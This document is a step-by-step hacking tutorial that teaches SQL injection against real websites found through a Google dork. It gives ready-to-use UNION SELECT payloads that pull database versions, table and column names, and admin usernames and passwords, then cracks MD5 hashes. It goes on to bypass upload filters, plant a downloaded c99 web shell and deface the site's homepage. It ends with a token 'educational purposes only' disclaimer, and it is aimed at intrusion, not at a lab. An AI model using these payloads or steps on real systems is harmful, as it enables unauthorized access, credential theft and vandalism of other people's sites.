SQL Injection
Finding vunerability:
First of all we need a vunerable site as you all know
To find a vunerable site open google
Type in a dork like "inurl:index.php?id=" (without quotes)
Now click on any site like www.site.com/index.php?id=786
To test the vunerability of the site add a ' at the end of the site
If the site gives an error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'84' at line 1"
we can assume that it is vunerable.
Checking the number of columns:
To check the number of columns we do the following
www.site.com/index.php?id=-786 order by 1-- if the page loads normally without any error we proceed below
www.site.com/index.php?id=-786 order by 2-- (no error)
similarly check
www.site.com/index.php?id=-786 order by 3--
www.site.com/index.php?id=-786 order by 4--
www.site.com/index.php?id=-786 order by 5--
www.site.com/index.php?id=-786 order by 6-- =>error
if we get an error at the 6 like "unknown column" that means there exists only 5 columns.
Finding vunerable columns:
To find the vunerable columns we add union all select 1,2,3,4,5-- after www.site.com/index.php?id=-786
NOw the url becomes
www.site.com/index.php?id=-786 union all select 1,2,3,4,5--
after hitting enter we if we see some numbers like 2 4 some where on the page.Then the columns 2 and 3 are vunerable and data can be retrieved from colums 2 and 4
Finding Mysql version:
To find the sql version we replace 2 or 4 with @@version.
Now the url looks like
www.site.com/index.php?id=-786 union all select 1,@@version,3,4,5--
After hitting enter the sql version appears on the page
Lets assume we got 5.0.90-community-log on page which is sql version.
Getting Table names:
To get table names remove @@version from the url and replace it with table_name.
The url now becomes
www.site.com/index.php?id=-786 union all select 1,table_name,3,4,5 from information_schema.tables--
After hitting enter the page shows the tablenames.
Lets us assume we got something like this
comment,log,admin,news,news_comment,members.
To take over the site we data should be retrieved from admin table.
Getting the column names:
To get the column names from the table admin we do the following
www.site.com/index.php?id=-786 union all select 1,column_name,3,4,5 from information_schema.columns where table_name=char(ascii of tablename)--
Converting the tablename to ascii:
Convert the tablename to ascii here
http://www.getyourwebsitehere.com/jswb/text_to_ascii.html
The ascii generated for the table name admin is & #97;&# 100;&# 109;&# 105;&# 110;
Now remove &# and add a , between them
So now it is 97,100,109,105,110
Replace it in the place of ascii of the tablename
Now it is
www.site.com/index.php?id=-786 union all select 1,column_name,3,4,5 from information_schema.columns where table_name=char(97,100,109,105,110)--
You can now see something like
username pwd gender email on page
Getting username and password:
To get the username and password we use
www.site.com/index.php?id=-786 union all select 1,concat(username,0x3a,pwd),3,4,5 from admin-- and hit enter.
At this point we see username and password on page.
In some websites passwords are MD5 encrypted.Decrypt the passwords at www.md5decrypter.co.uk/ or http://www.milw0rm.com/cracker/insert.php
Finding Admin panel:
To find the admin panel use admin panel finder.Download it from here:
http://www.megaupload.com/?d=066ONRML
Uploading shell:
After logging in as administrator you can upload a shell.its gives us access to all the files.
Download c99 shell from here : http://www.zarabyte.com/dl/c99.rar
extract the text file and name it as c99.php and upload it.
If the site does not allow you to upload a .php file,then rename it as c99.php.gif and then upload it.
or else you can even upload a fileuploader to bypass upload limits of the site and then upload the c99 shell.
Download fileuploader from here: http://www.zarabyte.com/dl/uploader.rar
After uploading you have to navigate to it and click it to activate.Then you can see a page showing all the files on the server.
Next you have to search for index.html and replace it with your customized html file.
Now check the homepage.The index.html file which u uploaded appears as the mainpage.This is what Defacing is.
Disclaimer:I am not responsible for any kind of damage you cause by misusing this information.This is for educational purposes only.
